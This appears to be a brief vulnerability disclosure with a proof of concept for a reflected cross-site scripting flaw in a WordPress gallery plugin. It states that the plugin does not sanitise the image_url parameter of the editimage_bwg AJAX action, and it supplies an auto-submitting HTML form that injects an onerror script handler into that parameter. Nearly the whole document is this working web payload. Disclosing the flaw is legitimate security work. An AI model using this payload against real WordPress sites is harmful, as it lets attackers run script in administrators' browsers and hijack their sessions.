The plugin does not properly sanitize the $_GET[‘image_url’] variable, which is reflected back to the users when executing the editimage_bwg AJAX action.
<html>
<body>
<form action="https://example.com/wp-admin/admin-ajax.php?image_url=%22onerror=alert(1)%20t=%22" id="hack" method="POST">
<input type="hidden" name="action" value="editimage_bwg" />
<input type="submit" value="Submit request" />
</form>
</body>
<script>
var form1 = document.getElementById('hack');
form1.submit();
</script>
</html>